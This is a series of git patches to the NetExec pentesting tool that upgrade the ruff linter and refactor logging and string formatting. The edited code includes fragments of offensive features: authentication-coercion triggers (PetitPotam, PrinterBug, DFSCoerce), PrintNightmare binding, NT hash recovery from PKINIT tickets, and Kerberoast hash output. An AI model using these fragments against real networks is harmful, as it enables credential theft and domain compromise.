From 351979375beeb34151aabda936f18814d363757d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 09:45:31 -0400 Subject: [PATCH 01/83] Update ruff to latest version --- poetry.lock | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/poetry.lock b/poetry.lock index 36383111..94cd8146 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2018,29 +2018,30 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" -version = "0.0.292" -description = "An extremely fast Python linter, written in Rust." +version = "0.11.3" +description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.0.292-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:02f29db018c9d474270c704e6c6b13b18ed0ecac82761e4fcf0faa3728430c96"}, - {file = "ruff-0.0.292-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:69654e564342f507edfa09ee6897883ca76e331d4bbc3676d8a8403838e9fade"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c3c91859a9b845c33778f11902e7b26440d64b9d5110edd4e4fa1726c41e0a4"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4476f1243af2d8c29da5f235c13dca52177117935e1f9393f9d90f9833f69e4"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:be8eb50eaf8648070b8e58ece8e69c9322d34afe367eec4210fdee9a555e4ca7"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9889bac18a0c07018aac75ef6c1e6511d8411724d67cb879103b01758e110a81"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6bdfabd4334684a4418b99b3118793f2c13bb67bf1540a769d7816410402a205"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aa7c77c53bfcd75dbcd4d1f42d6cabf2485d2e1ee0678da850f08e1ab13081a8"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e087b24d0d849c5c81516ec740bf4fd48bf363cfb104545464e0fca749b6af9"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f160b5ec26be32362d0774964e218f3fcf0a7da299f7e220ef45ae9e3e67101a"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:ac153eee6dd4444501c4bb92bff866491d4bfb01ce26dd2fff7ca472c8df9ad0"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_i686.whl", hash = "sha256:87616771e72820800b8faea82edd858324b29bb99a920d6aa3d3949dd3f88fb0"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b76deb3bdbea2ef97db286cf953488745dd6424c122d275f05836c53f62d4016"}, - {file = "ruff-0.0.292-py3-none-win32.whl", hash = "sha256:e854b05408f7a8033a027e4b1c7f9889563dd2aca545d13d06711e5c39c3d003"}, - {file = "ruff-0.0.292-py3-none-win_amd64.whl", hash = "sha256:f27282bedfd04d4c3492e5c3398360c9d86a295be00eccc63914438b4ac8a83c"}, - {file = "ruff-0.0.292-py3-none-win_arm64.whl", hash = "sha256:7f67a69c8f12fbc8daf6ae6d36705037bde315abf8b82b6e1f4c9e74eb750f68"}, - {file = "ruff-0.0.292.tar.gz", hash = "sha256:1093449e37dd1e9b813798f6ad70932b57cf614e5c2b5c51005bf67d55db33ac"}, + {file = "ruff-0.11.3-py3-none-linux_armv6l.whl", hash = "sha256:cb893a5eedff45071d52565300a20cd4ac088869e156b25e0971cb98c06f5dd7"}, + {file = "ruff-0.11.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:58edd48af0e201e2f494789de80f5b2f2b46c9a2991a12ea031254865d5f6aa3"}, + {file = "ruff-0.11.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:520f6ade25cea98b2e5cb29eb0906f6a0339c6b8e28a024583b867f48295f1ed"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ca4405a93ebbc05e924358f872efceb1498c3d52a989ddf9476712a5480b16"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4341d38775a6be605ce7cd50e951b89de65cbd40acb0399f95b8e1524d604c8"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72bf5b49e4b546f4bea6c05448ab71919b09cf75363adf5e3bf5276124afd31c"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9fa791ee6c3629ba7f9ba2c8f2e76178b03f3eaefb920e426302115259819237"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c81d3fe718f4d303aaa4ccdcd0f43e23bb2127da3353635f718394ca9b26721"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4e4c38e9b6c01caaba46b6d8e732791f4c78389a9923319991d55b298017ce02"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9686f5d1a2b4c918b5a6e9876bfe7f47498a990076624d41f57d17aadd02a4dd"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4800ddc4764d42d8961ce4cb972bcf5cc2730d11cca3f11f240d9f7360460408"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e63a2808879361aa9597d88d86380d8fb934953ef91f5ff3dafe18d9cb0b1e14"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8f8b1c4ae62638cc220df440140c21469232d8f2cb7f5059f395f7f48dcdb59e"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3ea2026be50f6b1fbedd2d1757d004e1e58bd0f414efa2a6fa01235468d4c82a"}, + {file = "ruff-0.11.3-py3-none-win32.whl", hash = "sha256:73d8b90d12674a0c6e98cd9e235f2dcad09d1a80e559a585eac994bb536917a3"}, + {file = "ruff-0.11.3-py3-none-win_amd64.whl", hash = "sha256:faf1bfb0a51fb3a82aa1112cb03658796acef978e37c7f807d3ecc50b52ecbf6"}, + {file = "ruff-0.11.3-py3-none-win_arm64.whl", hash = "sha256:67f8b68d7ab909f08af1fb601696925a89d65083ae2bb3ab286e572b5dc456aa"}, + {file = "ruff-0.11.3.tar.gz", hash = "sha256:8d5fcdb3bb359adc12b757ed832ee743993e7474b9de714bb9ea13c4a8458bf9"}, ] [[package]] @@ -2462,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "82a5e366a4270596f82655b99b5f0f22887fc72d5d04eefc3cddc945c9e69794" +content-hash = "eb45fa5534d5e644ecc74a392f22283e25c28fcd5f0d079df45f20a2dd4701cf" From b35cfe0671935d0358ad6cc50e1d86dfaf896d22 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 09:46:28 -0400 Subject: [PATCH 02/83] Update ruff settings declaration to reflect latest recommendations --- pyproject.toml | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 4a010aa1..a6ac17d9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -85,9 +85,18 @@ build-backend = "poetry_dynamic_versioning.backend" flake8 = "*" shiv = "*" pytest = "^7.2.2" -ruff = "=0.0.292" +ruff = "*" [tool.ruff] +target-version = "py310" +exclude = [ + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" +] +line-length = 65000 + +[tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" @@ -103,20 +112,12 @@ ignore = [ fixable = ["ALL"] unfixable = [] -exclude = [ - ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", - ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", - "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" -] per-file-ignores = {} -line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -target-version = "py310" - -[tool.ruff.flake8-quotes] +[tool.ruff.lint.flake8-quotes] docstring-quotes = "double" inline-quotes = "double" multiline-quotes = "double" From 2c29856d924cd0b0f927ae4051855bd966ec239f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 09:59:53 -0400 Subject: [PATCH 03/83] Update ruff settings declaration to reflect latest recommendations --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index a6ac17d9..c6944a62 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -108,10 +108,10 @@ ignore = [ "PERF203", "RUF012" ] +# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings # Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] - per-file-ignores = {} # Allow unused variables when underscore-prefixed. From f4ad70635a58c3191e7bd000f4774d3f814c8acf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 11:01:27 -0400 Subject: [PATCH 04/83] Fix LOG015 and replace all calls to root logger --- nxc/helpers/pfx.py | 45 ++++++++++++----------------------- nxc/modules/uac.py | 1 - nxc/protocols/smb.py | 2 +- nxc/protocols/smb/samrfunc.py | 8 +++---- 4 files changed, 19 insertions(+), 37 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 769f5123..fa12c8e9 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -47,8 +47,7 @@ from asn1crypto import keys from minikerberos.pkinit import PKINIT, DirtyDH from minikerberos.protocol.constants import NAME_TYPE, PaDataType from minikerberos.protocol.encryption import Enctype, _enctype_table, Key -from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \ - PA_PAC_REQUEST +from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ from pyasn1.codec.der import decoder, encoder @@ -70,7 +69,7 @@ from minikerberos.common.ccache import CCACHE from impacket.krb5.ccache import CCache as impacket_CCache from nxc.paths import NXC_PATH - +from nxc.logger import nxc_logger class myPKINIT(PKINIT): """ @@ -304,8 +303,8 @@ class myPKINIT(PKINIT): key = Key(cipher.enctype, t_key) enc_data = as_rep["enc-part"]["cipher"] - logging.info("AS-REP encryption key (you might need this later):") - logging.info(hexlify(t_key).decode("utf-8")) + nxc_logger.info("AS-REP encryption key (you might need this later):") + nxc_logger.info(hexlify(t_key).decode("utf-8")) dec_data = cipher.decrypt(key, 3, enc_data) encasrep = EncASRepPart.load(dec_data).native cipher = _enctype_table[int(encasrep["key"]["keytype"])] @@ -327,34 +326,27 @@ class GETPAC: for _bufferN in range(pacType["cBuffers"]): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] - if logging.getLogger().level == logging.DEBUG: - print("TYPE 0x%x" % infoBuffer["ulType"]) + nxc_logger.debug("TYPE 0x%x" % infoBuffer["ulType"]) if infoBuffer["ulType"] == 2: found = True credinfo = PAC_CREDENTIAL_INFO(data) - if logging.getLogger().level == logging.DEBUG: - credinfo.dump() newCipher = _enctype_table[credinfo["EncryptionType"]] out = newCipher.decrypt(key, 16, credinfo["SerializedData"]) type1 = TypeSerialization1(out) # I'm skipping here 4 bytes with its the ReferentID for the pointer newdata = out[len(type1) + 4:] pcc = PAC_CREDENTIAL_DATA(newdata) - if logging.getLogger().level == logging.DEBUG: - pcc.dump() for cred in pcc["Credentials"]: credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"])) - if logging.getLogger().level == logging.DEBUG: - credstruct.dump() - logging.info("Recovered NT Hash") - logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) + nxc_logger.info("Recovered NT Hash") + nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") buff = buff[len(infoBuffer):] if not found: - logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") + nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") return nthash def __init__(self, username, domain, kdcHost, key, tgt): @@ -399,10 +391,8 @@ class GETPAC: authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) - if logging.getLogger().level == logging.DEBUG: - logging.debug("AUTHENTICATOR") - print(authenticator.prettyPrint()) - print("\n") + nxc_logger.debug("AUTHENTICATOR") + nxc_logger.debug(authenticator.prettyPrint() + "\n") encodedAuthenticator = encoder.encode(authenticator) @@ -452,23 +442,18 @@ class GETPAC: myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, "additional-tickets", (myTicket,)) - if logging.getLogger().level == logging.DEBUG: - logging.debug("Final TGS") - print(tgsReq.prettyPrint()) - if logging.getLogger().level == logging.DEBUG: - logging.debug("Final TGS") - print(tgsReq.prettyPrint()) + nxc_logger.debug("Final TGS") + nxc_logger.debug(tgsReq.prettyPrint()) message = encoder.encode(tgsReq) - logging.info("Requesting ticket to self with PAC") + nxc_logger.info("Requesting ticket to self with PAC") r = sendReceive(message, self.__domain, self.__kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - if logging.getLogger().level == logging.DEBUG: - logging.debug("TGS_REP") - print(tgs.prettyPrint()) + nxc_logger.debug("TGS_REP") + nxc_logger.debug(tgs.prettyPrint()) cipherText = tgs["ticket"]["enc-part"]["cipher"] diff --git a/nxc/modules/uac.py b/nxc/modules/uac.py index f731b805..7756d3c0 100644 --- a/nxc/modules/uac.py +++ b/nxc/modules/uac.py @@ -14,7 +14,6 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - logging.debug("test") def options(self, context, module_options): """ """ diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dcbd77a3..16ec6830 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1426,7 +1426,7 @@ class smb(connection): try: string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"] - logging.debug(f"StringBinding {string_binding}") + self.logger.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.setRemoteHost(self.host) diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index e65fb5c8..cd28ce98 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -2,8 +2,6 @@ # Which in turn stole from Impacket :) # Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub) -import logging - from impacket.dcerpc.v5 import transport, lsat, lsad, samr from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE @@ -43,7 +41,7 @@ class SamrFunc: domains = self.samr_query.get_domains() members = {} if "Builtin" not in domains: - logging.error("No Builtin group to query locally on") + self.logger.error("No Builtin group to query locally on") return None domain_handle = self.samr_query.get_domain_handle("Builtin") @@ -128,10 +126,10 @@ class SAMRQuery: dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except NetBIOSError as e: - logging.error(f"NetBIOSError on Connection: {e}") + self.logger.error(f"NetBIOSError on Connection: {e}") return None except SessionError as e: - logging.error(f"SessionError on Connection: {e}") + self.logger.error(f"SessionError on Connection: {e}") return None return dce From 31373e4cac4b6673e6ffae6289a27bb415d2f26f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 11:02:14 -0400 Subject: [PATCH 05/83] Don't check for D413, missing-blank-line-after-last-section --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index c6944a62..bfacb755 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -103,7 +103,7 @@ select = [ ] ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", - "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012" ] From 66e9927c3edcf55318475ae284f13aaddcac69fe Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 11:57:47 -0400 Subject: [PATCH 06/83] Fix UP031, remove percent string replacements --- nxc/helpers/pfx.py | 2 +- nxc/modules/coerce_plus.py | 37 +++++++++++++++------------------- nxc/modules/printnightmare.py | 2 +- nxc/protocols/ldap/kerberos.py | 8 ++++---- nxc/protocols/smb.py | 7 +++---- nxc/protocols/smb/atexec.py | 2 +- 6 files changed, 26 insertions(+), 32 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index fa12c8e9..0b1e27e7 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -326,7 +326,7 @@ class GETPAC: for _bufferN in range(pacType["cBuffers"]): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] - nxc_logger.debug("TYPE 0x%x" % infoBuffer["ulType"]) + nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}") if infoBuffer["ulType"] == 2: found = True credinfo = PAC_CREDENTIAL_INFO(data) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 09017fc5..fa3caf9c 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -221,7 +221,7 @@ class ShadowCoerceTrigger: def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "Fssagentrpc": { - "stringBinding": r"ncacn_np:%s[\PIPE\Fssagentrpc]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]", "MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"), }, } @@ -338,7 +338,7 @@ class DFSCoerceTrigger: def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "netdfs": { - "stringBinding": r"ncacn_np:%s[\PIPE\netdfs]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]", "MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"), }, } @@ -509,23 +509,23 @@ class PetitPotamtTrigger: def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "lsarpc": { - "stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "efsrpc": { - "stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]", "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"), }, "samr": { - "stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\samr]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "lsass": { - "stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "netlogon": { - "stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, } @@ -758,17 +758,15 @@ class PrinterBugTrigger: self.context = context def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str: - string_binding = r"ncacn_ip_tcp:%s[135]" % target + string_binding = rf"ncacn_ip_tcp:{target}[135]" rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_connect_timeout(timeout) dce = rpctransport.get_dce_rpc() - self.context.log.debug( - "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface)) - ) + self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}") try: dce.connect() except Exception as e: - self.context.log.warning("Failed to connect to endpoint mapper: %s" % e) + self.context.log.warning(f"Failed to connect to endpoint mapper: {e}") raise e try: endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) @@ -777,17 +775,14 @@ class PrinterBugTrigger: ) return endpoint except Exception as e: - self.context.log.debug( - "Failed to resolve dynamic endpoint %s" - % repr(uuid.bin_to_string(interface)) - ) + self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}") raise e def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { - "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]", "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), "port": 445 }, @@ -835,7 +830,7 @@ class PrinterBugTrigger: def exploit(self, dce, listener, target, always_continue, pipe): try: - resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target) + resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00") except Exception as e: if str(e).find("Broken pipe") >= 0: # The connection timed-out. Let's try to bring it back next round @@ -853,7 +848,7 @@ class PrinterBugTrigger: request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB - request["pszLocalMachine"] = "\\\\%s\x00" % listener + request["pszLocalMachine"] = f"\\\\{listener}\x00" request["fdwOptions"] = 0x00000000 request["dwPrinterLocal"] = 0 dce.request(request) @@ -885,7 +880,7 @@ class PrinterBugTrigger: request = RpcRemoteFindFirstPrinterChangeNotification() request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB - request["pszLocalMachine"] = "\\\\%s\x00" % listener + request["pszLocalMachine"] = f"\\\\{listener}\x00" request["fdwOptions"] = 0x00000000 request["dwPrinterLocal"] = 0 request["cbBuffer"] = NULL @@ -908,7 +903,7 @@ class MSEvenTrigger: def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "eventlog": { - "stringBinding": r"ncacn_np:%s[\PIPE\eventlog]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]", "MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"), }, } diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 9bca9941..36da3f60 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -40,7 +40,7 @@ class NXCModule: def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target + stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]" context.log.info(f"Binding to {stringbinding!r}") diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 2e47fd17..bc989ac4 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -64,7 +64,7 @@ class KerberosAttacks: # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket if decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value: - entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( + entry = "$krb5tgs${}$*{}${}${}*${}${}".format( constants.EncryptionTypes.rc4_hmac.value, username, decoded_tgs["ticket"]["realm"], @@ -73,7 +73,7 @@ class KerberosAttacks: hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), ) elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: - entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( + entry = "$krb5tgs${}${}${}$*{}*${}${}".format( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decoded_tgs["ticket"]["realm"], @@ -82,7 +82,7 @@ class KerberosAttacks: hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode, ) elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( + entry = "$krb5tgs${}${}${}$*{}*${}${}".format( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decoded_tgs["ticket"]["realm"], @@ -91,7 +91,7 @@ class KerberosAttacks: hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(), ) elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value: - entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( + entry = "$krb5tgs${}$*{}${}${}*${}${}".format( constants.EncryptionTypes.des_cbc_md5.value, username, decoded_tgs["ticket"]["realm"], diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 16ec6830..722b9411 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -66,7 +66,6 @@ from time import time, ctime from datetime import datetime from functools import wraps from traceback import format_exc -import logging from termcolor import colored import contextlib @@ -940,7 +939,7 @@ class smb(connection): maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 - template = ("{SESSIONNAME: <%d} " + template = ("{SESSIONNAME: <%d} " # noqa: UP031 "{USERNAME: <%d} " "{ID: <%d} " "{IPv4: <16} " @@ -1011,7 +1010,7 @@ class smb(connection): self.logger.success("Enumerated processes") maxImageNameLen = max([len(i["ImageName"]) for i in res]) maxSidLen = max([len(i["pSid"]) for i in res]) - template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) # noqa: UP031 self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in res: @@ -1144,7 +1143,7 @@ class smb(connection): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions - def dir(self): # noqa: A003 + def dir(self): search_path = ntpath.join(self.args.dir, "*") try: contents = self.conn.listPath(self.args.share, search_path) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 105983d4..3311be3c 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -37,7 +37,7 @@ class TSCH_EXEC: if self.__password is None: self.__password = "" - stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target + stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]" self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.setRemoteHost(self.__remoteHost) From 61e2e58e5066bb1443b4720be6c15487b49f3dca Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:01:33 -0400 Subject: [PATCH 07/83] Fix UP031, remove percent string replacements --- nxc/modules/enum_ca.py | 2 +- nxc/modules/ms17-010.py | 26 +++++++++++++------------- nxc/protocols/ldap.py | 12 ++++++------ 3 files changed, 20 insertions(+), 20 deletions(-) diff --git a/nxc/modules/enum_ca.py b/nxc/modules/enum_ca.py index 7075b895..0ff66d0a 